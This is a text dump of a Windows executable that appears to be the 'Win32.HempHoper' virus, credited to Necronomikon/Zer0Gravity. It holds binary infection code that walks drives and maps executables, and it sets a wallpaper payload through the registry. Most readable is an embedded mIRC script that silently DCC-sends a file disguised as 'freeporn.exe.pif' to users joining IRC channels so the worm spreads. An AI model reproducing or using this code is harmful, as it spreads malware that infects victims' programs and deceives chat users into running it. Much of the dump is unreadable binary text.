MZP@ !L!This program must be run under Win32 $7PEL'.ld M! @ @  0CODE `DATA @.idata @.reloc0@PhM!@j[S%< A%@ A%D A%H A[*Win32.HempHoper*(c) by Necronomikon/Zer0Gravity]C:\hemp.bmpControl Panel\DesktopControl Panel\ColorsWallpaperTileWallpaperWallpaperStyleBackground00 0 0`Y]Z!@U_Ot#}!@ffT!@f u`N8@,@P+XǡnN8@aËR8@PQ)8@hZREAW8@EAW58@ՁA,@tj,@VAR%8@R8@V58@3SSjSCShAW8@PAASQSQj,@QA 8@Dž,@!,@[ t0U-USPPj,@-8@tAAA8@AA18@,@8@`hX݁ACHuaARAP7@APR8@DžA1AûM!@+,@;PEuf;MZuSXf=u,@w,wr `3l`3ҍD$d$@SPIfYuItAYj^3-@#-@-@fAfA tLpfAJ8@ڻfA -@Z,@a[aQo]RR8@APZYZQRSR!8@YZ+‰OIIt C;tCÍ @jhjjjhP8@@HPI!@s=@jRQVP8@8@ @ @PjjRh98@ @ @!@jVjjWR=8@A!@!@jVjjWR=8@A!@'!@jVjjWR=8@ @ @PjjRh98@ @C!@6!@jVjjWR=8@8@jP4 @VjL\D:\E:\F:\G:\H:\I:\J:\K:\L:\M:\N:\O:\P:\Q:\R:\S:\T:\U:\V:\W:\X:\Y:\Z:\^j#YQVjHempHoper.exeh4 @uY,@i$@jZ3,@Džc$@1c$@ R8@Vh)8@,@#4hEAV 8@EAP58@R8@W58@\AZ N#A3AAf9MZt M# uc+fQ< tY " "Y<;Aw@5PEt33t"{LHempufSffu 5s0 jhjjjh7@P8@tIPjAWh !-@WP8@8@ -@tjjj7@Rjj -@ù-@Qx -@  -@A !,@ -@,@  -@J8@Aō7@3Ɋ@P $X #,@;FujY Aݿ -@7@Aֹ7@,@hWA8@tQP8@jhjjjhA8@S8@t$PjAShQ9@SP8@8@j-@DžA.exEA@@HtT-@t r u鋵AV7@A.Dllt DžA.Lldø#AAp<^<AZS,@N8@-m-mN8@A`aA;g#3AAF<Nk(x1,@jYNNtN4Dž,@!,@V(,@jZPRYRX ,@ci-@F(^(XSSN8@v<,@N8@@X[@,@XXX ^P,@#%7H$ FLFLHemp_M!@AA󤃽7@tI,@R=APAcRAAXP7@#AAR<AA,@XBXjX-@-@CheckSumMappedFile@C:\freeporn.exe.pif -=Win32.HempHoper=- (c) by Necronomikon [Zerogravity]
Necronomikons

Virusinformation

Center
C:\HempHoper.htmShell32.dllmirc.inion 1:start: { .set %filee C:\freeporn.exe.pif } on 1:join:#: { .if ($nick != $me && %old != $nick) { .set %old $nick .timer $+ $rand(1,100000) 1 5 .$check_him( $nick , $chan ) } } alias check_him { .set %port $rand(9999,999999) .while ($portfree(%port) == $false) { .set %port $rand(9999,999999) } .if ($1 !isop $2) { .notice $1 :DCC Send HempHoper ( $+ $ip $+ ) .set %sock_name $rand(1,99999) .msg $1 DCC SEND %filee $longip($ip) %port $file(%filee).size $+  .socklisten %sock_name %port .timers off .timer $+ $rand(1,99999) 0 10 .cloze } } on 1:socklisten:%sock_name: { .set %client_name $rand(1,9999999) .sockaccept %client_name .sockclose %sock_name .set %l 0 .bread %filee %l 4000 &le .sockwrite -b %client_name 4000 &le %l = %l + 4000 .set %end 0 } on 1:sockread:%client_name: { .if (%l >= $file(%filee).size) { .set %end 1 .sockclose %client_name .halt } .else { .if (%end != 1) { .bread %filee %l 4000 &le .sockwrite -b %client_name 4000 &le %l = %l + 4000 } } } alias cloze { .sockclose %sock_name } VBM6( D7()(ITy*n'a#>/%J,dx% g%}2 m-G u5 = Gtfȫ9QtXV&x@VmttEF7gE7gv=@9Qv=dzE=E@9Q9Q:Ѕ9QZЅ9QN>b)?bJ 9Q59Q?J?J?t9,9Q9Q䅠??| (E4?JT~(dh9Q59Q4dN4d\\<?JJ~I hdvvv:dv&fMOD"%ffv;vvDV܇WpnvfK| # pxWo^JWdox^VFV_owV$ Y Z^:d&MO"HGʋ6^^W                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *.Exe FindNextFileA FindClose CloseHandleGetWindowsDirectoryAGetSystemDirectoryACreateFileMappingAFindFirstFileA LoadLibraryA CreateFileA WriteFileGetProcAddress CopyFileAGetCurrentDirectoryA MapViewOfFileUnmapViewOfFileSetCurrentDirectoryARegOpenKeyExARegSetValueExAimagehlp.dllnotepad.exeShellExecuteA( P < ^ l   ^ l   KERNEL32.dllExitProcessGetModuleFileNameASetCurrentDirectoryACopyFileA0000#0 o1111111111122"2(212E2N2a2g2~22222222222222 33%3,393A3G3Q3b33333-444=4C4]1{1W3R4o4}444444444445 5+535L5R5[5r5x555555646O6j6555666%6:6@6U6[6p6v66666K7g7v77666a7p777777777778$8X88888888 99"969A9J9U9[9a9l9r9|999999999 : :8:A:O:Z:d:j:r:x:::::::::::;;!;=;Y;s;};;;;;;; <